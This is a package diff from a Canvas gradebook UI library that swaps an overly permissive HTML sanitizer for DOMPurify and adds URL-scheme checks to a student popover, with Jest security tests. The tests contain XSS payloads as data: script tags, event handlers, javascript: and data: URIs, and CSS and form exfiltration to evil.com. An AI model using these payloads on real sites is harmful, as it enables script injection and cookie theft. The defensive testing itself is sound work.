(0, _globals.expect)((0, _sanitize.sanitizeHtml)(xss)).not.toContain('<form');
|
|
85
|
+
});
|
|
86
|
+
(0, _globals.it)('strips style tags (CSS-based exfil / clickjacking)', function () {
|
|
87
|
+
var xss = '<style>body{background:url(//evil.com/?c=)}</style>';
|
|
88
|
+
(0, _globals.expect)((0, _sanitize.sanitizeHtml)(xss)).not.toContain('<style');
|
|
89
|
+
});
|
|
90
|
+
(0, _globals.it)('strips <meta http-equiv refresh> redirects', function () {
|
|
91
|
+
var xss = '<meta http-equiv="refresh" content="0;url=https://evil.com">';
|
|
92
|
+
(0, _globals.expect)((0, _sanitize.sanitizeHtml)(xss)).not.toContain('<meta');
|
|
93
|
+
});
|
|
94
|
+
(0, _globals.it)('strips <base> tag (can rewrite all relative URLs)', function () {
|
|
95
|
+
var xss = '<base href="https://evil.com/">';
|
|
96
|
+
(0, _globals.expect)((0, _sanitize.sanitizeHtml)(xss)).not.toContain('<base');
|
|
97
|
+
});
|
|
98
|
+
(0, _globals.it)('strips encoded onerror payloads', function () {
|
|
99
|
+
var xss = '<img src=x onerror=alert(1)>';
|
|
100
|
+
var out = (0, _sanitize.sanitizeHtml)(xss);
|
|
101
|
+
(0, _globals.expect)(out).not.toMatch(/onerror/i);
|
|
102
|
+
});
|
|
103
|
+
(0, _globals.it)('strips mixed-case obfuscated script tags', function () {
|
|
104
|
+
var xss = '<ScRiPt>alert(1)</sCrIpT>';
|
|
105
|
+
var out = (0, _sanitize.sanitizeHtml)(xss);
|
|
106
|
+
(0, _globals.expect)(out).not.toMatch(/<script/i);
|
|
107
|
+
(0, _globals.expect)(out).not.toContain('alert(1)');
|
|
108
|
+
});
|
|
109
|
+
});
|
|
110
|
+
(0, _globals.describe)('benign HTML (should be preserved)', function () {
|
|
111
|
+
(0, _globals.it)('preserves basic formatting tags', function () {
|
|
112
|
+
var html = '<p>Hello <strong>world</strong> <em>!</em></p>';
|
|
113
|
+
(0, _globals.expect)((0, _sanitize.sanitizeHtml)(html)).toBe(html);
|
|
114
|
+
});
|
|
115
|
+
(0, _globals.it)('preserves links with safe http(s) hrefs', function () {
|
|
116
|
+
var html = '<a href="https://example.com">link</a>';
|
|
117
|
+
(0, _globals.expect)((0, _sanitize.sanitizeHtml)(html)).toContain('href="https://example.com"');
|
|
118
|
+
});
|
|
119
|
+
(0, _globals.it)('preserves lists', function () {
|
|
120
|
+
var html = '<ul><li>a</li><li>b</li></ul>';
|
|
121
|
+
(0, _globals.expect)((0, _sanitize.sanitizeHtml)(html)).toBe(html);
|
|
122
|
+
});
|
|
123
|
+
(0, _globals.it)('preserves Canvas RCE iframes (Studio / media embeds)', function () {
|
|
124
|
+
var html = '<iframe src="https://canvas.instructure.com/media_objects_iframe/123" ' + 'allowfullscreen="" allow="fullscreen" frameborder="0" ' + 'data-media-id="123" data-media-type="video"></iframe>';
|
|
125
|
+
var out = (0, _sanitize.sanitizeHtml)(html);
|
|
126
|
+
(0, _globals.expect)(out).toContain('<iframe');
|
|
127
|
+
(0, _globals.expect)(out).toContain('data-media-id="123"');
|
|
128
|
+
(0, _globals.expect)(out).toContain('data-media-type="video"');
|
|
129
|
+
(0, _globals.expect)(out).toContain('allowfullscreen');
|
|
130
|
+
});
|
|
131
|
+
});
|
|
132
|
+
(0, _globals.describe)('link hardening', function () {
|
|
133
|
+
(0, _globals.it)('adds rel="noopener noreferrer" to target=_blank links', function () {
|
|
134
|
+
var html = '<a href="https://example.com" target="_blank">x</a>';
|
|
135
|
+
var out = (0, _sanitize.sanitizeHtml)(html);
|
|
136
|
+
(0, _globals.expect)(out).toMatch(/rel=["'][^"']*noopener[^"']*["']/);
|
|
137
|
+
(0, _globals.expect)(out).toMatch(/rel=["'][^"']*noreferrer[^"']*["']/);
|
|
138
|
+
});
|
|
17
139
|
});
|
|
18
140
|
});
|
|
@@ -5,32 +5,28 @@ Object.defineProperty(exports, "__esModule", {
|
|
|
5
5
|
value: true
|
|
6
6
|
});
|
|
7
7
|
exports.sanitizeHtml = sanitizeHtml;
|
|
8
|
-
var
|
|
9
|
-
var
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
8
|
+
var _dompurify = _interopRequireDefault(require("dompurify"));
|
|
9
|
+
var CONFIG = {
|
|
10
|
+
ADD_TAGS: ['iframe'],
|
|
11
|
+
ADD_ATTR: ['allowfullscreen', 'allow', 'frameborder', 'sandbox', 'target', 'data-media-id', 'data-media-type'],
|
|
12
|
+
FORBID_TAGS: ['form', 'input', 'button', 'textarea', 'select', 'option']
|
|
13
|
+
};
|
|
14
|
+
|
|
15
|
+
// Rewrite Canvas equation-image relative URLs to absolute,
|
|
16
|
+
// preserving the previous behavior of this module.
|
|
17
|
+
_dompurify.default.addHook('afterSanitizeAttributes', function (node) {
|
|
18
|
+
if (node.tagName === 'IMG') {
|
|
19
|
+
var src = node.getAttribute('src') || '';
|
|
20
|
+
if (src.indexOf('/equation_images') === 0) {
|
|
21
|
+
node.setAttribute('src', "https://canvas.instructure.com".concat(src));
|
|
22
|
+
node.setAttribute('style', 'vertical-align: middle');
|
|
23
|
+
}
|
|
24
|
+
}
|
|
25
|
+
// Harden links opened in a new tab against tab-nabbing.
|
|
26
|
+
if (node.tagName === 'A' && node.getAttribute('target') === '_blank') {
|
|
27
|
+
node.setAttribute('rel', 'noopener noreferrer');
|
|
22
28
|
}
|
|
23
|
-
|
|
24
|
-
tagName: tagName,
|
|
25
|
-
attribs: attribs
|
|
26
|
-
};
|
|
27
|
-
}
|
|
29
|
+
});
|
|
28
30
|
function sanitizeHtml(html) {
|
|
29
|
-
return
|
|
30
|
-
allowedTags: false,
|
|
31
|
-
allowedAttributes: false,
|
|
32
|
-
transformTags: {
|
|
33
|
-
img: transformImage
|
|
34
|
-
}
|
|
35
|
-
});
|
|
31
|
+
return _dompurify.default.sanitize(html == null ? '' : html, CONFIG);
|
|
36
32
|
}
|
package/lib/translated/mi/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js
CHANGED
|
@@ -257,80 +257,156 @@ describe('StudentPopover', function () {
|
|
|
257
257
|
}, _callee0);
|
|
258
258
|
})));
|
|
259
259
|
});
|
|
260
|
-
describe('
|
|
261
|
-
it('
|
|
262
|
-
var _t6;
|
|
260
|
+
describe('Security', function () {
|
|
261
|
+
it('does not render the mastery report link for a javascript: URI', /*#__PURE__*/(0, _asyncToGenerator2.default)(/*#__PURE__*/(0, _regenerator2.default)().m(function _callee1() {
|
|
263
262
|
return (0, _regenerator2.default)().w(function (_context1) {
|
|
264
263
|
while (1) switch (_context1.n) {
|
|
265
264
|
case 0:
|
|
266
265
|
renderComponent({
|
|
267
|
-
|
|
266
|
+
studentGradesUrl: 'javascript:alert(document.cookie)'
|
|
268
267
|
});
|
|
269
268
|
_react2.fireEvent.click(_react2.screen.getByTestId('student-cell-link'));
|
|
270
|
-
_t6 = expect;
|
|
271
269
|
_context1.n = 1;
|
|
272
|
-
return _react2.screen.
|
|
270
|
+
return _react2.screen.findByText('Message');
|
|
273
271
|
case 1:
|
|
274
|
-
|
|
272
|
+
expect(_react2.screen.queryByText('View Mastery Report')).not.toBeInTheDocument();
|
|
275
273
|
case 2:
|
|
276
274
|
return _context1.a(2);
|
|
277
275
|
}
|
|
278
276
|
}, _callee1);
|
|
279
277
|
})));
|
|
280
|
-
it('does not
|
|
278
|
+
it('does not render the mastery report link for a data: URI', /*#__PURE__*/(0, _asyncToGenerator2.default)(/*#__PURE__*/(0, _regenerator2.default)().m(function _callee10() {
|
|
281
279
|
return (0, _regenerator2.default)().w(function (_context10) {
|
|
282
280
|
while (1) switch (_context10.n) {
|
|
283
281
|
case 0:
|
|
284
282
|
renderComponent({
|
|
285
|
-
|
|
283
|
+
studentGradesUrl: 'data:text/html,<script>alert(1)</script>'
|
|
286
284
|
});
|
|
287
285
|
_react2.fireEvent.click(_react2.screen.getByTestId('student-cell-link'));
|
|
288
286
|
_context10.n = 1;
|
|
289
|
-
return _react2.screen.
|
|
287
|
+
return _react2.screen.findByText('Message');
|
|
290
288
|
case 1:
|
|
291
|
-
expect(_react2.screen.
|
|
289
|
+
expect(_react2.screen.queryByText('View Mastery Report')).not.toBeInTheDocument();
|
|
292
290
|
case 2:
|
|
293
291
|
return _context10.a(2);
|
|
294
292
|
}
|
|
295
293
|
}, _callee10);
|
|
296
294
|
})));
|
|
297
|
-
|
|
298
|
-
|
|
299
|
-
it('shows an error message when error prop is provided', /*#__PURE__*/(0, _asyncToGenerator2.default)(/*#__PURE__*/(0, _regenerator2.default)().m(function _callee11() {
|
|
300
|
-
var _t7;
|
|
295
|
+
it('renders the mastery report link for a safe https URL', /*#__PURE__*/(0, _asyncToGenerator2.default)(/*#__PURE__*/(0, _regenerator2.default)().m(function _callee11() {
|
|
296
|
+
var safeUrl, masteryLink;
|
|
301
297
|
return (0, _regenerator2.default)().w(function (_context11) {
|
|
302
298
|
while (1) switch (_context11.n) {
|
|
303
299
|
case 0:
|
|
300
|
+
safeUrl = 'https://canvas.instructure.com/courses/123/grades/1';
|
|
304
301
|
renderComponent({
|
|
305
|
-
|
|
302
|
+
studentGradesUrl: safeUrl
|
|
306
303
|
});
|
|
307
304
|
_react2.fireEvent.click(_react2.screen.getByTestId('student-cell-link'));
|
|
308
|
-
_t7 = expect;
|
|
309
305
|
_context11.n = 1;
|
|
310
|
-
return _react2.screen.findByText('
|
|
306
|
+
return _react2.screen.findByText('View Mastery Report');
|
|
311
307
|
case 1:
|
|
312
|
-
|
|
308
|
+
masteryLink = _context11.v;
|
|
309
|
+
expect(masteryLink.closest('a')).toHaveAttribute('href', safeUrl);
|
|
313
310
|
case 2:
|
|
314
311
|
return _context11.a(2);
|
|
315
312
|
}
|
|
316
313
|
}, _callee11);
|
|
317
314
|
})));
|
|
318
|
-
it('
|
|
315
|
+
it('renders the mastery report link for a safe http URL', /*#__PURE__*/(0, _asyncToGenerator2.default)(/*#__PURE__*/(0, _regenerator2.default)().m(function _callee12() {
|
|
316
|
+
var safeUrl, masteryLink;
|
|
319
317
|
return (0, _regenerator2.default)().w(function (_context12) {
|
|
320
318
|
while (1) switch (_context12.n) {
|
|
321
319
|
case 0:
|
|
320
|
+
safeUrl = 'http://canvas.instructure.com/courses/123/grades/1';
|
|
322
321
|
renderComponent({
|
|
323
|
-
|
|
322
|
+
studentGradesUrl: safeUrl
|
|
324
323
|
});
|
|
325
324
|
_react2.fireEvent.click(_react2.screen.getByTestId('student-cell-link'));
|
|
326
325
|
_context12.n = 1;
|
|
327
|
-
return _react2.screen.findByText('
|
|
326
|
+
return _react2.screen.findByText('View Mastery Report');
|
|
328
327
|
case 1:
|
|
329
|
-
|
|
328
|
+
masteryLink = _context12.v;
|
|
329
|
+
expect(masteryLink.closest('a')).toHaveAttribute('href', safeUrl);
|
|
330
330
|
case 2:
|
|
331
331
|
return _context12.a(2);
|
|
332
332
|
}
|
|
333
333
|
}, _callee12);
|
|
334
334
|
})));
|
|
335
335
|
});
|
|
336
|
+
describe('Loading State', function () {
|
|
337
|
+
it('shows a spinner when isLoading is true', /*#__PURE__*/(0, _asyncToGenerator2.default)(/*#__PURE__*/(0, _regenerator2.default)().m(function _callee13() {
|
|
338
|
+
var _t6;
|
|
339
|
+
return (0, _regenerator2.default)().w(function (_context13) {
|
|
340
|
+
while (1) switch (_context13.n) {
|
|
341
|
+
case 0:
|
|
342
|
+
renderComponent({
|
|
343
|
+
isLoading: true
|
|
344
|
+
});
|
|
345
|
+
_react2.fireEvent.click(_react2.screen.getByTestId('student-cell-link'));
|
|
346
|
+
_t6 = expect;
|
|
347
|
+
_context13.n = 1;
|
|
348
|
+
return _react2.screen.findByTitle('Loading user details');
|
|
349
|
+
case 1:
|
|
350
|
+
_t6(_context13.v).toBeInTheDocument();
|
|
351
|
+
case 2:
|
|
352
|
+
return _context13.a(2);
|
|
353
|
+
}
|
|
354
|
+
}, _callee13);
|
|
355
|
+
})));
|
|
356
|
+
it('does not show student details when isLoading is true', /*#__PURE__*/(0, _asyncToGenerator2.default)(/*#__PURE__*/(0, _regenerator2.default)().m(function _callee14() {
|
|
357
|
+
return (0, _regenerator2.default)().w(function (_context14) {
|
|
358
|
+
while (1) switch (_context14.n) {
|
|
359
|
+
case 0:
|
|
360
|
+
renderComponent({
|
|
361
|
+
isLoading: true
|
|
362
|
+
});
|
|
363
|
+
_react2.fireEvent.click(_react2.screen.getByTestId('student-cell-link'));
|
|
364
|
+
_context14.n = 1;
|
|
365
|
+
return _react2.screen.findByTitle('Loading user details');
|
|
366
|
+
case 1:
|
|
367
|
+
expect(_react2.screen.queryByTestId('lmgb-student-popover-avatar')).not.toBeInTheDocument();
|
|
368
|
+
case 2:
|
|
369
|
+
return _context14.a(2);
|
|
370
|
+
}
|
|
371
|
+
}, _callee14);
|
|
372
|
+
})));
|
|
373
|
+
});
|
|
374
|
+
describe('Error State', function () {
|
|
375
|
+
it('shows an error message when error prop is provided', /*#__PURE__*/(0, _asyncToGenerator2.default)(/*#__PURE__*/(0, _regenerator2.default)().m(function _callee15() {
|
|
376
|
+
var _t7;
|
|
377
|
+
return (0, _regenerator2.default)().w(function (_context15) {
|
|
378
|
+
while (1) switch (_context15.n) {
|
|
379
|
+
case 0:
|
|
380
|
+
renderComponent({
|
|
381
|
+
error: 'Failed to load student details'
|
|
382
|
+
});
|
|
383
|
+
_react2.fireEvent.click(_react2.screen.getByTestId('student-cell-link'));
|
|
384
|
+
_t7 = expect;
|
|
385
|
+
_context15.n = 1;
|
|
386
|
+
return _react2.screen.findByText('Failed to load student details');
|
|
387
|
+
case 1:
|
|
388
|
+
_t7(_context15.v).toBeInTheDocument();
|
|
389
|
+
case 2:
|
|
390
|
+
return _context15.a(2);
|
|
391
|
+
}
|
|
392
|
+
}, _callee15);
|
|
393
|
+
})));
|
|
394
|
+
it('does not show student details when error is present', /*#__PURE__*/(0, _asyncToGenerator2.default)(/*#__PURE__*/(0, _regenerator2.default)().m(function _callee16() {
|
|
395
|
+
return (0, _regenerator2.default)().w(function (_context16) {
|
|
396
|
+
while (1) switch (_context16.n) {
|
|
397
|
+
case 0:
|
|
398
|
+
renderComponent({
|
|
399
|
+
error: 'Something went wrong'
|
|
400
|
+
});
|
|
401
|
+
_react2.fireEvent.click(_react2.screen.getByTestId('student-cell-link'));
|
|
402
|
+
_context16.n = 1;
|
|
403
|
+
return _react2.screen.findByText('Something went wrong');
|
|
404
|
+
case 1:
|
|
405
|
+
expect(_react2.screen.queryByTestId('lmgb-student-popover-avatar')).not.toBeInTheDocument();
|
|
406
|
+
case 2:
|
|
407
|
+
return _context16.a(2);
|
|
408
|
+
}
|
|
409
|
+
}, _callee16);
|
|
410
|
+
})));
|
|
411
|
+
});
|
|
336
412
|
});
|
|
@@ -107,6 +107,9 @@ var MasteryScores = function MasteryScores(_ref2) {
|
|
|
107
107
|
}, bucket.count)));
|
|
108
108
|
}))));
|
|
109
109
|
};
|
|
110
|
+
var isSafeUrl = function isSafeUrl(url) {
|
|
111
|
+
return /^(https?:\/\/|\/)/i.test(url);
|
|
112
|
+
};
|
|
110
113
|
var Actions = function Actions(_ref3) {
|
|
111
114
|
var studentGradesUrl = _ref3.studentGradesUrl;
|
|
112
115
|
var _useState = (0, _react.useState)(false),
|
|
@@ -129,7 +132,7 @@ var Actions = function Actions(_ref3) {
|
|
|
129
132
|
borderWidth: "none small none none",
|
|
130
133
|
width: "0px",
|
|
131
134
|
height: "1.4rem"
|
|
132
|
-
}), studentGradesUrl && /*#__PURE__*/_react.default.createElement(_uiFlex.Flex.Item, null, /*#__PURE__*/_react.default.createElement(_uiLink.Link, {
|
|
135
|
+
}), studentGradesUrl && isSafeUrl(studentGradesUrl) && /*#__PURE__*/_react.default.createElement(_uiFlex.Flex.Item, null, /*#__PURE__*/_react.default.createElement(_uiLink.Link, {
|
|
133
136
|
href: studentGradesUrl,
|
|
134
137
|
variant: "standalone"
|
|
135
138
|
}, /*#__PURE__*/_react.default.createElement(_uiText.Text, {
|
|
@@ -2,17 +2,139 @@
|
|
|
2
2
|
|
|
3
3
|
var _globals = require("@jest/globals");
|
|
4
4
|
var _sanitize = require("../sanitize.js");
|
|
5
|
-
(0, _globals.describe)('
|
|
6
|
-
(0, _globals.
|
|
7
|
-
|
|
8
|
-
|
|
5
|
+
(0, _globals.describe)('sanitizeHtml', function () {
|
|
6
|
+
(0, _globals.describe)('equation images (Canvas-specific)', function () {
|
|
7
|
+
(0, _globals.it)('rewrites /equation_images src to absolute canvas URL', function () {
|
|
8
|
+
var equationImage = 'Some text with an <img src="/equation_images/image" />';
|
|
9
|
+
(0, _globals.expect)((0, _sanitize.sanitizeHtml)(equationImage)).toContain('canvas.instructure.com/equation_images/image');
|
|
10
|
+
});
|
|
11
|
+
(0, _globals.it)('adds vertical-align style to equation images', function () {
|
|
12
|
+
var equationImage = '<img src="/equation_images/abc" />';
|
|
13
|
+
(0, _globals.expect)((0, _sanitize.sanitizeHtml)(equationImage)).toContain('vertical-align: middle');
|
|
14
|
+
});
|
|
15
|
+
(0, _globals.it)('leaves non-equation image src untouched', function () {
|
|
16
|
+
var otherImage = '<img src="/another_image">';
|
|
17
|
+
var out = (0, _sanitize.sanitizeHtml)(otherImage);
|
|
18
|
+
(0, _globals.expect)(out).toContain('src="/another_image"');
|
|
19
|
+
(0, _globals.expect)(out).not.toContain('canvas.instructure.com');
|
|
20
|
+
});
|
|
9
21
|
});
|
|
10
|
-
(0, _globals.
|
|
11
|
-
|
|
12
|
-
|
|
22
|
+
(0, _globals.describe)('null / empty input handling', function () {
|
|
23
|
+
(0, _globals.it)('returns empty string for null', function () {
|
|
24
|
+
(0, _globals.expect)((0, _sanitize.sanitizeHtml)(null)).toBe('');
|
|
25
|
+
});
|
|
26
|
+
(0, _globals.it)('returns empty string for undefined', function () {
|
|
27
|
+
(0, _globals.expect)((0, _sanitize.sanitizeHtml)(void 0)).toBe('');
|
|
28
|
+
});
|
|
29
|
+
(0, _globals.it)('returns empty string for empty string', function () {
|
|
30
|
+
(0, _globals.expect)((0, _sanitize.sanitizeHtml)('')).toBe('');
|
|
31
|
+
});
|
|
13
32
|
});
|
|
14
|
-
(0, _globals.
|
|
15
|
-
|
|
16
|
-
|
|
33
|
+
(0, _globals.describe)('XSS - script execution vectors', function () {
|
|
34
|
+
(0, _globals.it)('strips <script> tags', function () {
|
|
35
|
+
var xss = 'Hello<script>alert(1)</script>World';
|
|
36
|
+
var out = (0, _sanitize.sanitizeHtml)(xss);
|
|
37
|
+
(0, _globals.expect)(out).not.toContain('<script');
|
|
38
|
+
(0, _globals.expect)(out).not.toContain('alert(1)');
|
|
39
|
+
});
|
|
40
|
+
(0, _globals.it)('strips inline event handlers (onerror)', function () {
|
|
41
|
+
var xss = '<img src="x" onerror="alert(1)">';
|
|
42
|
+
var out = (0, _sanitize.sanitizeHtml)(xss);
|
|
43
|
+
(0, _globals.expect)(out).not.toMatch(/onerror/i);
|
|
44
|
+
(0, _globals.expect)(out).not.toContain('alert(1)');
|
|
45
|
+
});
|
|
46
|
+
(0, _globals.it)('strips inline event handlers (onclick)', function () {
|
|
47
|
+
var xss = '<a href="#" onclick="alert(1)">click</a>';
|
|
48
|
+
var out = (0, _sanitize.sanitizeHtml)(xss);
|
|
49
|
+
(0, _globals.expect)(out).not.toMatch(/onclick/i);
|
|
50
|
+
});
|
|
51
|
+
(0, _globals.it)('strips inline event handlers (onload on svg)', function () {
|
|
52
|
+
var xss = '<svg onload="alert(1)"></svg>';
|
|
53
|
+
var out = (0, _sanitize.sanitizeHtml)(xss);
|
|
54
|
+
(0, _globals.expect)(out).not.toMatch(/onload/i);
|
|
55
|
+
(0, _globals.expect)(out).not.toContain('alert(1)');
|
|
56
|
+
});
|
|
57
|
+
(0, _globals.it)('strips javascript: URLs in href', function () {
|
|
58
|
+
// eslint-disable-next-line no-script-url
|
|
59
|
+
var xss = '<a href="javascript:alert(1)">x</a>';
|
|
60
|
+
var out = (0, _sanitize.sanitizeHtml)(xss);
|
|
61
|
+
(0, _globals.expect)(out).not.toMatch(/javascript:/i);
|
|
62
|
+
});
|
|
63
|
+
(0, _globals.it)('strips javascript: URLs in img src', function () {
|
|
64
|
+
// eslint-disable-next-line no-script-url
|
|
65
|
+
var xss = '<img src="javascript:alert(1)">';
|
|
66
|
+
var out = (0, _sanitize.sanitizeHtml)(xss);
|
|
67
|
+
(0, _globals.expect)(out).not.toMatch(/javascript:/i);
|
|
68
|
+
});
|
|
69
|
+
(0, _globals.it)('strips data: URLs that contain HTML/JS in iframe src', function () {
|
|
70
|
+
var xss = '<iframe src="data:text/html,<script>alert(1)</script>"></iframe>';
|
|
71
|
+
var out = (0, _sanitize.sanitizeHtml)(xss);
|
|
72
|
+
(0, _globals.expect)(out).not.toContain('alert(1)');
|
|
73
|
+
});
|
|
74
|
+
(0, _globals.it)('strips <object> tags', function () {
|
|
75
|
+
var xss = '<object data="evil.swf"></object>';
|
|
76
|
+
(0, _globals.expect)((0, _sanitize.sanitizeHtml)(xss)).not.toContain('<object');
|
|
77
|
+
});
|
|
78
|
+
(0, _globals.it)('strips <embed> tags', function () {
|
|
79
|
+
var xss = '<embed src="evil.swf">';
|
|
80
|
+
(0, _globals.expect)((0, _sanitize.sanitizeHtml)(xss)).not.toContain('<embed');
|
|
81
|
+
});
|
|
82
|
+
(0, _globals.it)('strips <form> tags (CSRF / phishing surface)', function () {
|
|
83
|
+
var xss = '<form action="https://evil.com"><input name=x></form>';
|
|
84
|
+
(0, _globals.expect)((0, _sanitize.sanitizeHtml)(xss)).not.toContain('<form');
|
|
85
|
+
});
|
|
86
|
+
(0, _globals.it)('strips style tags (CSS-based exfil / clickjacking)', function () {
|
|
87
|
+
var xss = '<style>body{background:url(//evil.com/?c=)}</style>';
|
|
88
|
+
(0, _globals.expect)((0, _sanitize.sanitizeHtml)(xss)).not.toContain('<style');
|
|
89
|
+
});
|
|
90
|
+
(0, _globals.it)('strips <meta http-equiv refresh> redirects', function () {
|
|
91
|
+
var xss = '<meta http-equiv="refresh" content="0;url=https://evil.com">';
|
|
92
|
+
(0, _globals.expect)((0, _sanitize.sanitizeHtml)(xss)).not.toContain('<meta');
|
|
93
|
+
});
|
|
94
|
+
(0, _globals.it)('strips <base> tag (can rewrite all relative URLs)', function () {
|
|
95
|
+
var xss = '<base href="https://evil.com/">';
|
|
96
|
+
(0, _globals.expect)((0, _sanitize.sanitizeHtml)(xss)).not.toContain('<base');
|
|
97
|
+
});
|
|
98
|
+
(0, _globals.it)('strips encoded onerror payloads', function () {
|
|
99
|
+
var xss = '<img src=x onerror=alert(1)>';
|
|
100
|
+
var out = (0, _sanitize.sanitizeHtml)(xss);
|
|
101
|
+
(0, _globals.expect)(out).not.toMatch(/onerror/i);
|
|
102
|
+
});
|
|
103
|
+
(0, _globals.it)('strips mixed-case obfuscated script tags', function () {
|
|
104
|
+
var xss = '<ScRiPt>alert(1)</sCrIpT>';
|
|
105
|
+
var out = (0, _sanitize.sanitizeHtml)(xss);
|
|
106
|
+
(0, _globals.expect)(out).not.toMatch(/<script/i);
|
|
107
|
+
(0, _globals.expect)(out).not.toContain('alert(1)');
|
|
108
|
+
});
|
|
109
|
+
});
|
|
110
|
+
(0, _globals.describe)('benign HTML (should be preserved)', function () {
|
|
111
|
+
(0, _globals.it)('preserves basic formatting tags', function () {
|
|
112
|
+
var html = '<p>Hello <strong>world</strong> <em>!</em></p>';
|
|
113
|
+
(0, _globals.expect)((0, _sanitize.sanitizeHtml)(html)).toBe(html);
|
|
114
|
+
});
|
|
115
|
+
(0, _globals.it)('preserves links with safe http(s) hrefs', function () {
|
|
116
|
+
var html = '<a href="https://example.com">link</a>';
|
|
117
|
+
(0, _globals.expect)((0, _sanitize.sanitizeHtml)(html)).toContain('href="https://example.com"');
|
|
118
|
+
});
|
|
119
|
+
(0, _globals.it)('preserves lists', function () {
|
|
120
|
+
var html = '<ul><li>a</li><li>b</li></ul>';
|
|
121
|
+
(0, _globals.expect)((0, _sanitize.sanitizeHtml)(html)).toBe(html);
|
|
122
|
+
});
|
|
123
|
+
(0, _globals.it)('preserves Canvas RCE iframes (Studio / media embeds)', function () {
|
|
124
|
+
var html = '<iframe src="https://canvas.instructure.com/media_objects_iframe/123" ' + 'allowfullscreen="" allow="fullscreen" frameborder="0" ' + 'data-media-id="123" data-media-type="video"></iframe>';
|
|
125
|
+
var out = (0, _sanitize.sanitizeHtml)(html);
|
|
126
|
+
(0, _globals.expect)(out).toContain('<iframe');
|
|
127
|
+
(0, _globals.expect)(out).toContain('data-media-id="123"');
|
|
128
|
+
(0, _globals.expect)(out).toContain('data-media-type="video"');
|
|
129
|
+
(0, _globals.expect)(out).toContain('allowfullscreen');
|
|
130
|
+
});
|
|
131
|
+
});
|
|
132
|
+
(0, _globals.describe)('link hardening', function () {
|
|
133
|
+
(0, _globals.it)('adds rel="noopener noreferrer" to target=_blank links', function () {
|
|
134
|
+
var html = '<a href="https://example.com" target="_blank">x</a>';
|
|
135
|
+
var out = (0, _sanitize.sanitizeHtml)(html);
|
|
136
|
+
(0, _globals.expect)(out).toMatch(/rel=["'][^"']*noopener[^"']*["']/);
|
|
137
|
+
(0, _globals.expect)(out).toMatch(/rel=["'][^"']*noreferrer[^"']*["']/);
|
|
138
|
+
});
|
|
17
139
|
});
|
|
18
140
|
});
|
|
@@ -5,32 +5,28 @@ Object.defineProperty(exports, "__esModule", {
|
|
|
5
5
|
value: true
|
|
6
6
|
});
|
|
7
7
|
exports.sanitizeHtml = sanitizeHtml;
|
|
8
|
-
var
|
|
9
|
-
var
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
8
|
+
var _dompurify = _interopRequireDefault(require("dompurify"));
|
|
9
|
+
var CONFIG = {
|
|
10
|
+
ADD_TAGS: ['iframe'],
|
|
11
|
+
ADD_ATTR: ['allowfullscreen', 'allow', 'frameborder', 'sandbox', 'target', 'data-media-id', 'data-media-type'],
|
|
12
|
+
FORBID_TAGS: ['form', 'input', 'button', 'textarea', 'select', 'option']
|
|
13
|
+
};
|
|
14
|
+
|
|
15
|
+
// Rewrite Canvas equation-image relative URLs to absolute,
|
|
16
|
+
// preserving the previous behavior of this module.
|
|
17
|
+
_dompurify.default.addHook('afterSanitizeAttributes', function (node) {
|
|
18
|
+
if (node.tagName === 'IMG') {
|
|
19
|
+
var src = node.getAttribute('src') || '';
|
|
20
|
+
if (src.indexOf('/equation_images') === 0) {
|
|
21
|
+
node.setAttribute('src', "https://canvas.instructure.com".concat(src));
|
|
22
|
+
node.setAttribute('style', 'vertical-align: middle');
|
|
23
|
+
}
|
|
24
|
+
}
|
|
25
|
+
// Harden links opened in a new tab against tab-nabbing.
|
|
26
|
+
if (node.tagName === 'A' && node.getAttribute('target') === '_blank') {
|
|
27
|
+
node.setAttribute('rel', 'noopener noreferrer');
|
|
22
28
|
}
|
|
23
|
-
|
|
24
|
-
tagName: tagName,
|
|
25
|
-
attribs: attribs
|
|
26
|
-
};
|
|
27
|
-
}
|
|
29
|
+
});
|
|
28
30
|
function sanitizeHtml(html) {
|
|
29
|
-
return
|
|
30
|
-
allowedTags: false,
|
|
31
|
-
allowedAttributes: false,
|
|
32
|
-
transformTags: {
|
|
33
|
-
img: transformImage
|
|
34
|
-
}
|
|
35
|
-
});
|
|
31
|
+
return _dompurify.default.sanitize(html == null ? '' : html, CONFIG);
|
|
36
32
|
}
|